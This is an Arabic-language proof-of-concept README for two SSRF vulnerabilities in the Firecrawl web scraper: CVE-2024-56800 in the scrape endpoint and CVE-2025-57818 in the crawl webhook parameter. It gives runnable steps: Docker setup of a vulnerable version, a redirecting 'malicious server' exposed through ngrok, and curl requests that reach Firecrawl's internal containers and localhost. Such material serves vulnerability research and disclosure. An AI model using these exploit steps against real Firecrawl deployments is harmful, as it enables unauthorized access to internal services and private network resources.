cve-2024-56800 POC

مرجع

https://nvd.nist.gov/vuln/detail/CVE-2024-56800

https://github.com/firecrawl/firecrawl/commit/4d1f92f4c8c36403022428285a03621fd90d62ec

https://github.com/firecrawl/firecrawl/security/advisories/GHSA-vjp8-2wgg-p734

الثغرة

Firecrawl هو أداة كشط ويب تتيح للمستخدمين استخراج محتوى صفحة ويب. الإصدارات السابقة للإصدار 1.1.1 تحتوي على ثغرة تزوير الطلبات من جانب الخادم (SSRF). محرك الكشط يقبل إعادة توجيه المواقع إلى أي عناوين IP محلية، مما يسبب تسرب الموارد في الخادم الخاص.

تقع في apps/api/src/controllers/v1/scrape.ts

مدخلات المستخدم لا يتم تعقيمها ويُسمح لها بأن تكون عنوان IP خاص. عند استخدام 127.0.0.1، فإنه يعيد التوجيه فعليًا إلى الشبكة المحلية لـ Firecrawl، مما يؤدي إلى تسريب الخادم الداخلي لخادم Firecrawl.

كيفية استخدام POC هذا

1. تنزيل POC هذا

git clone https://github.com/cyhe50/cve-2024-56800-poc
cd cve-2024-56800-poc 

2. تشغيل خادم Firecrawl مستضاف ذاتيًا

cd scraper/firecrawl-1.0.0
docker-compose up -d
cd ../..

3. تشغيل خادم خبيث

cd malicious_server
docker build -t malicious_server .
docker run -p 8000:80 malicious_server

4. نشر الخادم الخبيث

السبب هو أن خادم Firecrawl يحظر عناوين URL الخاصة. إذا كنت لا تريد جعل الخادم عامًا، أعتقد أنه يمكنك ببساطة تعليق التحقق في Firecrawl مباشرةً.

هنا أكتب فقط ما قمت به. ngrok:

ngrok http 8000

5. تشغيل أداة الكشط

curl: (تذكر لصق عنوان URL الصحيح)

curl -X POST http://localhost:3002/v1/scrape \
      -H 'Content-Type: application/json' \
      -d '{
        "url": "https://xxxxx.ngrok-free.app",
        "formats": ["markdown", "html"]
      }'

scraper.py

cd scraper

!! افتح Dockerfile وغيّر عنوان url إلى العنوان الذي ولّدته للتو

docker build -t scraper .
docker run scraper

المخرجات المتوقعة

كيف يعمل POC هذا

الكود المصدري المعرض للثغرة

عند تشغيل خادم Firecrawl المستضاف ذاتيًا، يتم تمكين 5 خدمات، واحدة منها هي firecrawl-test-1 (انظر مزيدًا من التفاصيل عبر docker ps). بما أن جميع هذه الخدمات الخمس مضبوطة لتكون في نفس الشبكة، فإنها تستطيع الاتصال ببعضها البعض باستخدام اسم الحاوية التي تريد الاتصال بها.

مثال: (الاتصال بـ firecrawl-test-1)

تشغيل curl مباشرة على الجهاز المحلي:

curl http://firecrawl-test-1:80
or
curl http://localhost:80

لا ينبغي أن ينجح أي منهما لأنهما ليسا في نفس الشبكة التي يوجد بها firecrawl-test-1

ومع ذلك، عند الوصول من داخل firecrawl-api-1:

docker exec -it firecrawl-api-1 /bin/bash
curl http:firecrawl-test-1:80
or
curl http://localhost:80

يجب أن يُخرج هذا البيانات الصحيحة لأنهما في نفس الشبكة.

في الخادم الخبيث، يعيد التوجيه إلى http://firecrawl-test-1:80، والذي يجب أن يعمل فقط لشبكة Firecrawl. لذلك، فإن نجاح الوصول إلى خادم firecrawl-test-1 يعني أن أداة الكشط أعادت التوجيه إلى خادمها الداخلي بنجاح. يوضح هذا كيفية عمل ثغرة SSRF لكشف الموارد في الخادم الخاص.

CVE-2025-57818

هذه أيضًا ثغرة SSRF. تحدث في واجهة برمجة تطبيقات الزحف (crawl API) حيث لا يتم تعقيم معامل webhook، ويمكن للمهاجمين إرسال طلب POST إلى شبكة محلية تابعة لـ Firecrawl.

تقع في apps/api/src/services/webhook.ts. المشكلة هي أن المدخل webhookUrl لا يتم تعقيمه

سيرسل الـ webhook طلب POST إلى عنوان url المحدد. هنا قمنا بتعيينه إلى 127.0.0.1 وتم الاتصال بالخادم الداخلي بنجاح

curl -X POST http://localhost:3002/v1/crawl \
     -H 'Content-Type: application/json' \
     -d '{
       "url": "https://example.com",
       "webhook": "http://127.0.0.1:80"
     }'

استقبل الخادم الداخلي طلب POST بنجاح